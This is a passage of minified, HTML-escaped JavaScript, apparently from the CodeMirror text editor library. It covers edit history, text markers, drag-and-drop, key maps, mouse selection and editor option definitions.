m={from:f,to:g,text:b.text,removed:b.removed,origin:b.origin};l&amp;&amp;yb(a,&quot;change&quot;,a,m),k&amp;&amp;(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(m)}a.display.selForContextMenu=null}function Je(a,b,c,d,e){if(d||(d=c),K(d,c)&lt;0){var f=d;d=c,c=f}&quot;string&quot;==typeof b&amp;&amp;(b=a.splitLines(b)),De(a,{from:c,to:d,text:b,origin:e})}function Ke(a,b,c,d){c&lt;a.line?a.line+=d:b&lt;a.line&amp;&amp;(a.line=b,a.ch=0)}function Le(a,b,c,d){for(var e=0;e&lt;a.length;++e){var f=a[e],g=!0;if(f.ranges){f.copied||(f=a[e]=f.deepCopy(),f.copied=!0);for(var h=0;h&lt;f.ranges.length;h++)Ke(f.ranges[h].anchor,b,c,d),Ke(f.ranges[h].head,b,c,d)}else{for(var i=0;i&lt;f.changes.length;++i){var j=f.changes[i];if(c&lt;j.from.line)j.from=J(j.from.line+d,j.from.ch),j.to=J(j.to.line+d,j.to.ch);else if(b&lt;=j.to.line){g=!1;break}}g||(a.splice(0,e+1),e=0)}}}function Me(a,b){var c=b.from.line,d=b.to.line,e=b.text.length-(d-c)-1;Le(a.done,c,d,e),Le(a.undone,c,d,e)}function Ne(a,b,c,d){var e=b,f=b;return&quot;number&quot;==typeof b?f=B(a,P(a,b)):e=F(b),null==e?null:(d(f,e)&amp;&amp;a.cm&amp;&amp;rd(a.cm,e,c),f)}function Oe(a){var b=this;this.lines=a,this.parent=null;for(var c=0,d=0;d&lt;a.length;++d)a[d].parent=b,c+=a[d].height;this.height=c}function Pe(a){var b=this;this.children=a;for(var c=0,d=0,e=0;e&lt;a.length;++e){var f=a[e];c+=f.chunkSize(),d+=f.height,f.parent=b}this.size=c,this.height=d,this.parent=null}function Qe(a,b,c){sa(b)&lt;(a.curOp&amp;&amp;a.curOp.scrollTop||a.doc.scrollTop)&amp;&amp;Tc(a,c)}function Re(a,b,c,d){var e=new zh(a,c,d),f=a.cm;return f&amp;&amp;e.noHScroll&amp;&amp;(f.display.alignWidgets=!0),Ne(a,b,&quot;widget&quot;,function(b){var c=b.widgets||(b.widgets=[]);if(null==e.insertAt?c.push(e):c.splice(Math.min(c.length-1,Math.max(0,e.insertAt)),0,e),e.line=b,f&amp;&amp;!qa(a,b)){var d=sa(b)&lt;a.scrollTop;E(b,b.height+Mb(e)),d&amp;&amp;Tc(f,e.height),f.curOp.forceUpdate=!0}return!0}),yb(f,&quot;lineWidgetAdded&quot;,f,e,&quot;number&quot;==typeof b?b:F(b)),e}function Se(a,b,c,d,f){if(d&amp;&amp;d.shared)return Te(a,b,c,d,f);if(a.cm&amp;&amp;!a.cm.curOp)return nd(a.cm,Se)(a,b,c,d,f);var g=new Bh(a,f),h=K(b,c);if(d&amp;&amp;k(d,g,!1),h&gt;0||0==h&amp;&amp;g.clearWhenEmpty!==!1)return g;if(g.replacedWith&amp;&amp;(g.collapsed=!0,g.widgetNode=e(&quot;span&quot;,[g.replacedWith],&quot;CodeMirror-widget&quot;),d.handleMouseEvents||g.widgetNode.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;),d.insertLeft&amp;&amp;(g.widgetNode.insertLeft=!0)),g.collapsed){if(ka(a,b.line,b,c,g)||b.line!=c.line&amp;&amp;ka(a,c.line,b,c,g))throw new Error(&quot;Inserting collapsed marker partially overlapping an existing one&quot;);U()}g.addToHistory&amp;&amp;de(a,{from:b,to:c,origin:&quot;markText&quot;},a.sel,NaN);var i,j=b.line,l=a.cm;if(a.iter(j,c.line+1,function(a){l&amp;&amp;g.collapsed&amp;&amp;!l.options.lineWrapping&amp;&amp;la(a)==l.display.maxLine&amp;&amp;(i=!0),g.collapsed&amp;&amp;j!=b.line&amp;&amp;E(a,0),Y(a,new V(g,j==b.line?b.ch:null,j==c.line?c.ch:null)),++j}),g.collapsed&amp;&amp;a.iter(b.line,c.line+1,function(b){qa(a,b)&amp;&amp;E(b,0)}),g.clearOnEnter&amp;&amp;Yg(g,&quot;beforeCursorEnter&quot;,function(){return g.clear()}),g.readOnly&amp;&amp;(T(),(a.history.done.length||a.history.undone.length)&amp;&amp;a.clearHistory()),g.collapsed&amp;&amp;(g.id=++Ah,g.atomic=!0),l){if(i&amp;&amp;(l.curOp.updateMaxLine=!0),g.collapsed)qd(l,b.line,c.line+1);else if(g.className||g.title||g.startStyle||g.endStyle||g.css)for(var m=b.line;m&lt;=c.line;m++)rd(l,m,&quot;text&quot;);g.atomic&amp;&amp;we(l.doc),yb(l,&quot;markerAdded&quot;,l,g)}return g}function Te(a,b,c,d,e){d=k(d),d.shared=!1;var f=[Se(a,b,c,d,e)],g=f[0],h=d.widgetNode;return Xd(a,function(a){h&amp;&amp;(d.widgetNode=h.cloneNode(!0)),f.push(Se(a,Q(a,b),Q(a,c),d,e));for(var i=0;i&lt;a.linked.length;++i)if(a.linked[i].isParent)return;g=p(f)}),new Ch(f,g)}function Ue(a){return a.findMarks(J(a.first,0),a.clipPos(J(a.lastLine())),function(a){return a.parent})}function Ve(a,b){for(var c=0;c&lt;b.length;c++){var d=b[c],e=d.find(),f=a.clipPos(e.from),g=a.clipPos(e.to);if(K(f,g)){var h=Se(a,f,g,d.primary,d.primary.type);d.markers.push(h),h.parent=d}}}function We(a){for(var b=function(b){var c=a[b],d=[c.primary.doc];Xd(c.primary.doc,function(a){return d.push(a)});for(var e=0;e&lt;c.markers.length;e++){var f=c.markers[e];m(d,f.doc)==-1&amp;&amp;(f.parent=null,c.markers.splice(e--,1))}},c=0;c&lt;a.length;c++)b(c)}function Xe(a){var b=this;if($e(b),!Fa(b,a)&amp;&amp;!Nb(b.display,a)){Ja(a),ng&amp;&amp;(Fh=+new Date);var c=yc(b,a,!0),d=a.dataTransfer.files;if(c&amp;&amp;!b.isReadOnly())if(d&amp;&amp;d.length&amp;&amp;window.FileReader&amp;&amp;window.File)for(var e=d.length,f=Array(e),g=0,h=function(a,d){if(!b.options.allowDropFileTypes||m(b.options.allowDropFileTypes,a.type)!=-1){var h=new FileReader;h.onload=nd(b,function(){var a=h.result;if(/[\x00-\x08\x0e-\x1f]{2}/.test(a)&amp;&amp;(a=&quot;&quot;),f[d]=a,++g==e){c=Q(b.doc,c);var i={from:c,to:c,text:b.doc.splitLines(f.join(b.doc.lineSeparator())),origin:&quot;paste&quot;};De(b.doc,i),se(b.doc,Nd(c,Od(i)))}}),h.readAsText(a)}},i=0;i&lt;e;++i)h(d[i],i);else{if(b.state.draggingText&amp;&amp;b.doc.sel.contains(c)&gt;-1)return b.state.draggingText(a),void setTimeout(function(){return b.display.input.focus()},20);try{var j=a.dataTransfer.getData(&quot;Text&quot;);if(j){var k;if(b.state.draggingText&amp;&amp;!b.state.draggingText.copy&amp;&amp;(k=b.listSelections()),ue(b.doc,Nd(c,c)),k)for(var l=0;l&lt;k.length;++l)Je(b.doc,&quot;&quot;,k[l].anchor,k[l].head,&quot;drag&quot;);b.replaceSelection(j,&quot;around&quot;,&quot;paste&quot;),b.display.input.focus()}}catch(a){}}}}function Ye(a,b){if(ng&amp;&amp;(!a.state.draggingText||+new Date-Fh&lt;100))return void Ma(b);if(!Fa(a,b)&amp;&amp;!Nb(a.display,b)&amp;&amp;(b.dataTransfer.setData(&quot;Text&quot;,a.getSelection()),b.dataTransfer.effectAllowed=&quot;copyMove&quot;,b.dataTransfer.setDragImage&amp;&amp;!tg)){var c=d(&quot;img&quot;,null,null,&quot;position: fixed; left: 0; top: 0;&quot;);c.src=&quot;data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==&quot;,sg&amp;&amp;(c.width=c.height=1,a.display.wrapper.appendChild(c),c._top=c.offsetTop),b.dataTransfer.setDragImage(c,0,0),sg&amp;&amp;c.parentNode.removeChild(c)}}function Ze(a,b){var e=yc(a,b);if(e){var f=document.createDocumentFragment();Cc(a,e,f),a.display.dragCursor||(a.display.dragCursor=d(&quot;div&quot;,null,&quot;CodeMirror-cursors CodeMirror-dragcursors&quot;),a.display.lineSpace.insertBefore(a.display.dragCursor,a.display.cursorDiv)),c(a.display.dragCursor,f)}}function $e(a){a.display.dragCursor&amp;&amp;(a.display.lineSpace.removeChild(a.display.dragCursor),a.display.dragCursor=null)}function _e(a){if(document.getElementsByClassName)for(var b=document.getElementsByClassName(&quot;CodeMirror&quot;),c=0;c&lt;b.length;c++){var d=b[c].CodeMirror;d&amp;&amp;a(d)}}function af(){Gh||(bf(),Gh=!0)}function bf(){var a;Yg(window,&quot;resize&quot;,function(){null==a&amp;&amp;(a=setTimeout(function(){a=null,_e(cf)},100))}),Yg(window,&quot;blur&quot;,function(){return _e(Jc)})}function cf(a){var b=a.display;b.lastWrapHeight==b.wrapper.clientHeight&amp;&amp;b.lastWrapWidth==b.wrapper.clientWidth||(b.cachedCharWidth=b.cachedTextHeight=b.cachedPaddingH=null,b.scrollbarsClipped=!1,a.setSize())}function df(a){var b=a.split(/-(?!$)/);a=b[b.length-1];for(var c,d,e,f,g=0;g&lt;b.length-1;g++){var h=b[g];if(/^(cmd|meta|m)$/i.test(h))f=!0;else if(/^a(lt)?$/i.test(h))c=!0;else if(/^(c|ctrl|control)$/i.test(h))d=!0;else{if(!/^s(hift)?$/i.test(h))throw new Error(&quot;Unrecognized modifier name: &quot;+h);e=!0}}return c&amp;&amp;(a=&quot;Alt-&quot;+a),d&amp;&amp;(a=&quot;Ctrl-&quot;+a),f&amp;&amp;(a=&quot;Cmd-&quot;+a),e&amp;&amp;(a=&quot;Shift-&quot;+a),a}function ef(a){var b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c];if(/^(name|fallthrough|(de|at)tach)$/.test(c))continue;if(&quot;...&quot;==d){delete a[c];continue}for(var e=q(c.split(&quot; &quot;),df),f=0;f&lt;e.length;f++){var g=void 0,h=void 0;f==e.length-1?(h=e.join(&quot; &quot;),g=d):(h=e.slice(0,f+1).join(&quot; &quot;),g=&quot;...&quot;);var i=b[h];if(i){if(i!=g)throw new Error(&quot;Inconsistent bindings for &quot;+h)}else b[h]=g}delete a[c]}for(var j in b)a[j]=b[j];return a}function ff(a,b,c,d){b=kf(b);var e=b.call?b.call(a,d):b[a];if(e===!1)return&quot;nothing&quot;;if(&quot;...&quot;===e)return&quot;multi&quot;;if(null!=e&amp;&amp;c(e))return&quot;handled&quot;;if(b.fallthrough){if(&quot;[object Array]&quot;!=Object.prototype.toString.call(b.fallthrough))return ff(a,b.fallthrough,c,d);for(var f=0;f&lt;b.fallthrough.length;f++){var g=ff(a,b.fallthrough[f],c,d);if(g)return g}}}function gf(a){var b=&quot;string&quot;==typeof a?a:Hh[a.keyCode];return&quot;Ctrl&quot;==b||&quot;Alt&quot;==b||&quot;Shift&quot;==b||&quot;Mod&quot;==b}function hf(a,b,c){var d=a;return b.altKey&amp;&amp;&quot;Alt&quot;!=d&amp;&amp;(a=&quot;Alt-&quot;+a),(Eg?b.metaKey:b.ctrlKey)&amp;&amp;&quot;Ctrl&quot;!=d&amp;&amp;(a=&quot;Ctrl-&quot;+a),(Eg?b.ctrlKey:b.metaKey)&amp;&amp;&quot;Cmd&quot;!=d&amp;&amp;(a=&quot;Cmd-&quot;+a),!c&amp;&amp;b.shiftKey&amp;&amp;&quot;Shift&quot;!=d&amp;&amp;(a=&quot;Shift-&quot;+a),a}function jf(a,b){if(sg&amp;&amp;34==a.keyCode&amp;&amp;a[&quot;char&quot;])return!1;var c=Hh[a.keyCode];return null!=c&amp;&amp;!a.altGraphKey&amp;&amp;hf(c,a,b)}function kf(a){return&quot;string&quot;==typeof a?Lh[a]:a}function lf(a,b){for(var c=a.doc.sel.ranges,d=[],e=0;e&lt;c.length;e++){for(var f=b(c[e]);d.length&amp;&amp;K(f.from,p(d).to)&lt;=0;){var g=d.pop();if(K(g.from,f.from)&lt;0){f.from=g.from;break}}d.push(f)}md(a,function(){for(var b=d.length-1;b&gt;=0;b--)Je(a.doc,&quot;&quot;,d[b].from,d[b].to,&quot;+delete&quot;);Uc(a)})}function mf(a,b){var c=B(a.doc,b),d=la(c);return d!=c&amp;&amp;(b=F(d)),Aa(!0,a,d,b,1)}function nf(a,b){var c=B(a.doc,b),d=ma(c);return d!=c&amp;&amp;(b=F(d)),Aa(!0,a,c,b,-1)}function of(a,b){var c=mf(a,b.line),d=B(a.doc,c.line),e=xa(d,a.doc.direction);if(!e||0==e[0].level){var f=Math.max(0,d.text.search(/\S/)),g=b.line==c.line&amp;&amp;b.ch&lt;=f&amp;&amp;b.ch;return J(c.line,g?0:f,c.sticky)}return c}function pf(a,b,c){if(&quot;string&quot;==typeof b&amp;&amp;(b=Mh[b],!b))return!1;a.display.input.ensurePolled();var d=a.display.shift,e=!1;try{a.isReadOnly()&amp;&amp;(a.state.suppressEdits=!0),c&amp;&amp;(a.display.shift=!1),e=b(a)!=Mg}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function qf(a,b,c){for(var d=0;d&lt;a.state.keyMaps.length;d++){var e=ff(b,a.state.keyMaps[d],c,a);if(e)return e}return a.options.extraKeys&amp;&amp;ff(b,a.options.extraKeys,c,a)||ff(b,a.options.keyMap,c,a)}function rf(a,b,c,d){var e=a.state.keySeq;if(e){if(gf(b))return&quot;handled&quot;;Nh.set(50,function(){a.state.keySeq==e&amp;&amp;(a.state.keySeq=null,a.display.input.reset())}),b=e+&quot; &quot;+b}var f=qf(a,b,d);return&quot;multi&quot;==f&amp;&amp;(a.state.keySeq=b),&quot;handled&quot;==f&amp;&amp;yb(a,&quot;keyHandled&quot;,a,b,c),&quot;handled&quot;!=f&amp;&amp;&quot;multi&quot;!=f||(Ja(c),Fc(a)),e&amp;&amp;!f&amp;&amp;/\&#039;$/.test(b)?(Ja(c),!0):!!f}function sf(a,b){var c=jf(b,!0);return!!c&amp;&amp;(b.shiftKey&amp;&amp;!a.state.keySeq?rf(a,&quot;Shift-&quot;+c,b,function(b){return pf(a,b,!0)})||rf(a,c,b,function(b){if(&quot;string&quot;==typeof b?/^go[A-Z]/.test(b):b.motion)return pf(a,b)}):rf(a,c,b,function(b){return pf(a,b)}))}function tf(a,b,c){return rf(a,&quot;&#039;&quot;+c+&quot;&#039;&quot;,b,function(b){return pf(a,b,!0)})}function uf(a){var b=this;if(b.curOp.focus=g(),!Fa(b,a)){ng&amp;&amp;og&lt;11&amp;&amp;27==a.keyCode&amp;&amp;(a.returnValue=!1);var c=a.keyCode;b.display.shift=16==c||a.shiftKey;var d=sf(b,a);sg&amp;&amp;(Oh=d?c:null,!d&amp;&amp;88==c&amp;&amp;!ah&amp;&amp;(zg?a.metaKey:a.ctrlKey)&amp;&amp;b.replaceSelection(&quot;&quot;,null,&quot;cut&quot;)),18!=c||/\bCodeMirror-crosshair\b/.test(b.display.lineDiv.className)||vf(b)}}function vf(a){function b(a){18!=a.keyCode&amp;&amp;a.altKey||(Gg(c,&quot;CodeMirror-crosshair&quot;),Da(document,&quot;keyup&quot;,b),Da(document,&quot;mouseover&quot;,b))}var c=a.display.lineDiv;h(c,&quot;CodeMirror-crosshair&quot;),Yg(document,&quot;keyup&quot;,b),Yg(document,&quot;mouseover&quot;,b)}function wf(a){16==a.keyCode&amp;&amp;(this.doc.sel.shift=!1),Fa(this,a)}function xf(a){var b=this;if(!(Nb(b.display,a)||Fa(b,a)||a.ctrlKey&amp;&amp;!a.altKey||zg&amp;&amp;a.metaKey)){var c=a.keyCode,d=a.charCode;if(sg&amp;&amp;c==Oh)return Oh=null,void Ja(a);if(!sg||a.which&amp;&amp;!(a.which&lt;10)||!sf(b,a)){var e=String.fromCharCode(null==d?c:d);&quot;\b&quot;!=e&amp;&amp;(tf(b,a,e)||b.display.input.onKeyPress(a))}}}function yf(a,b){var c=+new Date;return Sh&amp;&amp;Sh.compare(c,a,b)?(Rh=Sh=null,&quot;triple&quot;):Rh&amp;&amp;Rh.compare(c,a,b)?(Sh=new Qh(c,a,b),Rh=null,&quot;double&quot;):(Rh=new Qh(c,a,b),Sh=null,&quot;single&quot;)}function zf(a){var b=this,c=b.display;if(!(Fa(b,a)||c.activeTouch&amp;&amp;c.input.supportsTouch())){if(c.input.ensurePolled(),c.shift=a.shiftKey,Nb(c,a))return void(pg||(c.scroller.draggable=!1,setTimeout(function(){return c.scroller.draggable=!0},100)));if(!Hf(b,a)){var d=yc(b,a),e=Oa(a),f=d?yf(d,e):&quot;single&quot;;window.focus(),1==e&amp;&amp;b.state.selectingText&amp;&amp;b.state.selectingText(a),d&amp;&amp;Af(b,e,d,f,a)||(1==e?d?Cf(b,d,f,a):Na(a)==c.scroller&amp;&amp;Ja(a):2==e?(d&amp;&amp;ne(b.doc,d),setTimeout(function(){return c.input.focus()},20)):3==e&amp;&amp;(Fg?If(b,a):Hc(b)))}}}function Af(a,b,c,d,e){var f=&quot;Click&quot;;return&quot;double&quot;==d?f=&quot;Double&quot;+f:&quot;triple&quot;==d&amp;&amp;(f=&quot;Triple&quot;+f),f=(1==b?&quot;Left&quot;:2==b?&quot;Middle&quot;:&quot;Right&quot;)+f,rf(a,hf(f,e),e,function(b){if(&quot;string&quot;==typeof b&amp;&amp;(b=Mh[b]),!b)return!1;var d=!1;try{a.isReadOnly()&amp;&amp;(a.state.suppressEdits=!0),d=b(a,c)!=Mg}finally{a.state.suppressEdits=!1}return d})}function Bf(a,b,c){var d=a.getOption(&quot;configureMouse&quot;),e=d?d(a,b,c):{};if(null==e.unit){var f=Ag?c.shiftKey&amp;&amp;c.metaKey:c.altKey;e.unit=f?&quot;rectangle&quot;:&quot;single&quot;==b?&quot;char&quot;:&quot;double&quot;==b?&quot;word&quot;:&quot;line&quot;}return(null==e.extend||a.doc.extend)&amp;&amp;(e.extend=a.doc.extend||c.shiftKey),null==e.addNew&amp;&amp;(e.addNew=zg?c.metaKey:c.ctrlKey),null==e.moveOnDrag&amp;&amp;(e.moveOnDrag=!(zg?c.altKey:c.ctrlKey)),e}function Cf(a,b,c,d){ng?setTimeout(j(Gc,a),0):a.curOp.focus=g();var e,f=Bf(a,c,d),h=a.doc.sel;a.options.dragDrop&amp;&amp;Zg&amp;&amp;!a.isReadOnly()&amp;&amp;&quot;single&quot;==c&amp;&amp;(e=h.contains(b))&gt;-1&amp;&amp;(K((e=h.ranges[e]).from(),b)&lt;0||b.xRel&gt;0)&amp;&amp;(K(e.to(),b)&gt;0||b.xRel&lt;0)?Df(a,d,b,f):Ff(a,d,b,f)}function Df(a,b,c,d){var e=a.display,f=!1,g=nd(a,function(b){pg&amp;&amp;(e.scroller.draggable=!1),a.state.draggingText=!1,Da(document,&quot;mouseup&quot;,g),Da(document,&quot;mousemove&quot;,h),Da(e.scroller,&quot;dragstart&quot;,i),Da(e.scroller,&quot;drop&quot;,g),f||(Ja(b),d.addNew||ne(a.doc,c,null,null,d.extend),pg||ng&amp;&amp;9==og?setTimeout(function(){document.body.focus(),e.input.focus()},20):e.input.focus())}),h=function(a){f=f||Math.abs(b.clientX-a.clientX)+Math.abs(b.clientY-a.clientY)&gt;=10},i=function(){return f=!0};pg&amp;&amp;(e.scroller.draggable=!0),a.state.draggingText=g,g.copy=!d.moveOnDrag,e.scroller.dragDrop&amp;&amp;e.scroller.dragDrop(),Yg(document,&quot;mouseup&quot;,g),Yg(document,&quot;mousemove&quot;,h),Yg(e.scroller,&quot;dragstart&quot;,i),Yg(e.scroller,&quot;drop&quot;,g),Hc(a),setTimeout(function(){return e.input.focus()},20)}function Ef(a,b,c){if(&quot;char&quot;==c)return new yh(b,b);if(&quot;word&quot;==c)return a.findWordAt(b);if(&quot;line&quot;==c)return new yh(J(b.line,0),Q(a.doc,J(b.line+1,0)));var d=c(a,b);return new yh(d.from,d.to)}function Ff(a,b,c,d){function e(b){if(0!=K(r,b))if(r=b,&quot;rectangle&quot;==d.unit){for(var e=[],f=a.options.tabSize,g=l(B(j,c.line).text,c.ch,f),h=l(B(j,b.line).text,b.ch,f),i=Math.min(g,h),p=Math.max(g,h),q=Math.min(c.line,b.line),s=Math.min(a.lastLine(),Math.max(c.line,b.line));q&lt;=s;q++){var t=B(j,q).text,u=n(t,i,f);i==p?e.push(new yh(J(q,u),J(q,u))):t.length&gt;u&amp;&amp;e.push(new yh(J(q,u),J(q,n(t,p,f))))}e.length||e.push(new yh(c,c)),te(j,Md(o.ranges.slice(0,m).concat(e),m),{origin:&quot;*mouse&quot;,scroll:!1}),a.scrollIntoView(b)}else{var v,w=k,x=Ef(a,b,d.unit),y=w.anchor;K(x.anchor,y)&gt;0?(v=x.head,y=O(w.from(),x.anchor)):(v=x.anchor,y=N(w.to(),x.head));var z=o.ranges.slice(0);z[m]=new yh(Q(j,y),v),te(j,Md(z,m),Og)}}function f(b){var c=++t,h=yc(a,b,!0,&quot;rectangle&quot;==d.unit);if(h)if(0!=K(h,r)){a.curOp.focus=g(),e(h);var k=Mc(i,j);(h.line&gt;=k.to||h.line&lt;k.from)&amp;&amp;setTimeout(nd(a,function(){t==c&amp;&amp;f(b)}),150)}else{var l=b.clientY&lt;s.top?-20:b.clientY&gt;s.bottom?20:0;l&amp;&amp;setTimeout(nd(a,function(){t==c&amp;&amp;(i.scroller.scrollTop+=l,f(b))}),50)}}function h(b){a.state.selectingText=!1,t=1/0,Ja(b),i.input.focus(),Da(document,&quot;mousemove&quot;,u),Da(document,&quot;mouseup&quot;,v),j.history.lastSelOrigin=null}var i=a.display,j=a.doc;Ja(b);var k,m,o=j.sel,p=o.ranges;if(d.addNew&amp;&amp;!d.extend?(m=j.sel.contains(c),k=m&gt;-1?p[m]:new yh(c,c)):(k=j.sel.primary(),m=j.sel.primIndex),&quot;rectangle&quot;==d.unit)d.addNew||(k=new yh(c,c)),c=yc(a,b,!0,!0),m=-1;else{var q=Ef(a,c,d.unit);k=d.extend?me(k,q.anchor,q.head,d.extend):q}d.addNew?m==-1?(m=p.length,te(j,Md(p.concat([k]),m),{scroll:!1,origin:&quot;*mouse&quot;})):p.length&gt;1&amp;&amp;p[m].empty()&amp;&amp;&quot;char&quot;==d.unit&amp;&amp;!d.extend?(te(j,Md(p.slice(0,m).concat(p.slice(m+1)),0),{scroll:!1,origin:&quot;*mouse&quot;}),o=j.sel):pe(j,m,k,Og):(m=0,te(j,new xh([k],0),Og),o=j.sel);var r=c,s=i.wrapper.getBoundingClientRect(),t=0,u=nd(a,function(a){Oa(a)?f(a):h(a)}),v=nd(a,h);a.state.selectingText=v,Yg(document,&quot;mousemove&quot;,u),Yg(document,&quot;mouseup&quot;,v)}function Gf(a,b,c,d){var e,f;try{e=b.clientX,f=b.clientY}catch(b){return!1}if(e&gt;=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&amp;&amp;Ja(b);var g=a.display,h=g.lineDiv.getBoundingClientRect();if(f&gt;h.bottom||!Ha(a,c))return La(b);f-=h.top-g.viewOffset;for(var i=0;i&lt;a.options.gutters.length;++i){var j=g.gutters.childNodes[i];if(j&amp;&amp;j.getBoundingClientRect().right&gt;=e){var k=G(a.doc,f),l=a.options.gutters[i];return Ea(a,c,a,k,l,b),La(b)}}}function Hf(a,b){return Gf(a,b,&quot;gutterClick&quot;,!0)}function If(a,b){Nb(a.display,b)||Jf(a,b)||Fa(a,b,&quot;contextmenu&quot;)||a.display.input.onContextMenu(b)}function Jf(a,b){return!!Ha(a,&quot;gutterContextMenu&quot;)&amp;&amp;Gf(a,b,&quot;gutterContextMenu&quot;,!1)}function Kf(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,&quot;&quot;)+a.options.theme.replace(/(^|\s)\s*/g,&quot; cm-s-&quot;),fc(a)}function Lf(a){function b(b,d,e,f){a.defaults[b]=d,e&amp;&amp;(c[b]=f?function(a,b,c){c!=Th&amp;&amp;e(a,b,c)}:e)}var c=a.optionHandlers;a.defineOption=b,a.Init=Th,b(&quot;value&quot;,&quot;&quot;,function(a,b){return a.setValue(b)},!0),b(&quot;mode&quot;,null,function(a,b){a.doc.modeOption=b,Td(a)},!0),b(&quot;indentUnit&quot;,2,Td,!0),b(&quot;indentWithTabs&quot;,!1),b(&quot;smartIndent&quot;,!0),b(&quot;tabSize&quot;,4,function(a){Ud(a),fc(a),qd(a)},!0),b(&quot;lineSeparator&quot;,null,function(a,b){if(a.doc.lineSep=b,b){var c=[],d=a.doc.first;a.doc.iter(function(a){for(var e=0;;){var f=a.text.indexOf(b,e);if(f==-1)break;e=f+b.length,c.push(J(d,f))}d++});for(var e=c.length-1;e&gt;=0;e--)Je(a.doc,b,c[e],J(c[e].line,c[e].ch+b.length))}}),b(&quot;specialChars&quot;,/[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200f\u2028\u2029\ufeff]/g,function(a,b,c){a.state.specialChars=new RegExp(b.source+(b.test(&quot;\t&quot;)?&quot;&quot;:&quot;|\t&quot;),&quot;g&quot;),c!=Th&amp;&amp;a.refresh()}),b(&quot;specialCharPlaceholder&quot;,nb,function(a){return a.refresh()},!0),b(&quot;electricChars&quot;,!0),b(&quot;inputStyle&quot;,yg?&quot;contenteditable&quot;:&quot;textarea&quot;,function(){throw new Error(&quot;inputStyle can not (yet) be changed in a running editor&quot;)},!0),b(&quot;spellcheck&quot;,!1,function(a,b){return a.getInputField().spellcheck=b},!0),b(&quot;rtlMoveVisually&quot;,!Bg),b(&quot;wholeLineUpdateBefore&quot;,!0),b(&quot;theme&quot;,&quot;default&quot;,function(a){Kf(a),Mf(a)},!0),b(&quot;keyMap&quot;,&quot;default&quot;,function(a,b,c){var d=kf(b),e=c!=Th&amp;&amp;kf(c);e&amp;&amp;e.detach&amp;&amp;e.detach(a,d),d.attach&amp;&amp;d.attach(a,e||null)}),b(&quot;extraKeys&quot;,null),b(&quot;configureMouse&quot;,null),b(&quot;lineWrapping&quot;,!1,Of,!0),b(&quot;gutters&quot;,[],function(a){Id(a.options),Mf(a)},!0),b(&quot;fixedGutter&quot;,!0,function(a,b){a.display.gutters.style.left=b?vc(a.display)+&quot;px&quot;:&quot;0&quot;,a.refresh()},!0),b(&quot;coverGutterNextToScrollbar&quot;,!1,function(a){return bd(a)},!0),b(&quot;scrollbarStyle&quot;,&quot;native&quot;,function(a){dd(a),bd(a),a.display.scrollbars.setScrollTop(a.doc.scrollTop),a.display.scrollbars.setScrollLeft(a.doc.scrollLeft)},!0),b(&quot;lineNumbers&quot;,!1,function(a){Id(a.options),Mf(a)},!0),b(&quot;firstLineNumber&quot;,1,Mf,!0),b(&quot;lineNumberFormatter&quot;,function(a){return a},Mf,!0),b(&quot;showCursorWhenSelecting&quot;,!1,Ac,!0),b(&quot;resetSelectionOnContextMenu&quot;,!0),b(&quot;lineWiseCopyCut&quot;,!0),b(&quot;pasteLinesPerSelection&quot;,!0),b(&quot;readOnly&quot;,!1,function(a,b){&quot;nocursor&quot;==b&amp;&amp;(Jc(a),a.display.input.blur()),a.display.input.readOnlyChanged(b)}),b(&quot;disableInput&quot;,!1,function(a,b){b||a.display.input.reset()},!0),b(&quot;dragDrop&quot;,!0,Nf),b(&quot;allowDropFileTypes&quot;,null),b(&quot;cursorBlinkRate&quot;,530),b(&quot;cursorScrollMargin&quot;,0),b(&quot;cursorHeight&quot;,1,Ac,!0),b(&quot;singleCursorHeightPerLine&quot;,!0,Ac,!0),b(&quot;workTime&quot;,100),b(&quot;workDelay&quot;,100),b(&quot;flattenSpans&quot;,!0,Ud,!0),b(&quot;addModeClass&quot;,!1,Ud,!0),b(&quot;pollInterval&quot;,100),b(&quot;undoDepth&quot;,200,function(a,b){return a.doc.history.undoDepth=b}),b(&quot;historyEventDelay&quot;,1250),b(&quot;viewportMargin&quot;,10,function(a){return a.refresh()},!0),b(&quot;maxHighlightLength&quot;,1e4,Ud,!0),b(&quot;moveInputWithCursor&quot;,!0,function(a,b){b||a.display.input.resetPosition()}),b(&quot;tabindex&quot;,null,function(a,b){return a.display.input.getField().tabIndex=b||&quot;&quot;}),b(&quot;autofocus&quot;,null),b(&quot;direction&quot;,&quot;ltr&quot;,function(a,b){return a.doc.setDirection(b)},!0)}function Mf(a){Hd(a),qd(a),Nc(a)}function Nf(a,b,c){var d=c&amp;&amp;c!=Th;if(!b!=!d){var e=a.display.dragFunctions,f=b?Yg:Da;f(a.display.scroller,&quot;dragstart&quot;,e.start),f(a.display.scroller,&quot;dragenter&quot;,e.enter),f(a.display.scroller,&quot;dragover&quot;,e.over),f(a.display.scroller,&quot;dragleave&quot;,e.leave),f(a.display.scroller,&quot;drop&quot;,e.drop)}}function Of(a){a.options.lineWrapping?(h(a.display.wrapper,&quot;CodeMirror-wrap&quot;),a.display.sizer.style.minWidth=&quot;&quot;,a.display.sizerWidth=null):(Gg(a.display.wrapper,&quot;CodeMirror-wrap&quot;),ua(a)),xc(a),qd(a),fc(a),setTimeout(function(){return bd(a)},100)}function Pf(a,b){var c=this;if(!(this instanceof Pf))return new Pf(a,b);this.options=b=b?k(b):{},k(Uh,b,!1),Id(b);var d=b.value;&quot;string&quot;==typeof d&amp;&amp;(d=new Eh(d,b.mode,null,b.lineSeparator,b.direction)),this.doc=d;var e=new Pf.inputStyles[b.inputStyle](this),f=this.display=new A(a,d,e);f.wrapper.CodeMirror=this,Hd(this),Kf(this),b.lineWrapping&amp;&amp;(this.display.wrapper.className+=&quot; CodeMirror-wrap&quot;),dd(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,selectingText:!1,draggingText:!1,highlight:new Ig,keySeq:null,specialChars:null},b.autofocus&amp;&amp;!yg&amp;&amp;f.input.focus(),ng&amp;&amp;og&lt;11&amp;&amp;setTimeout(function(){return 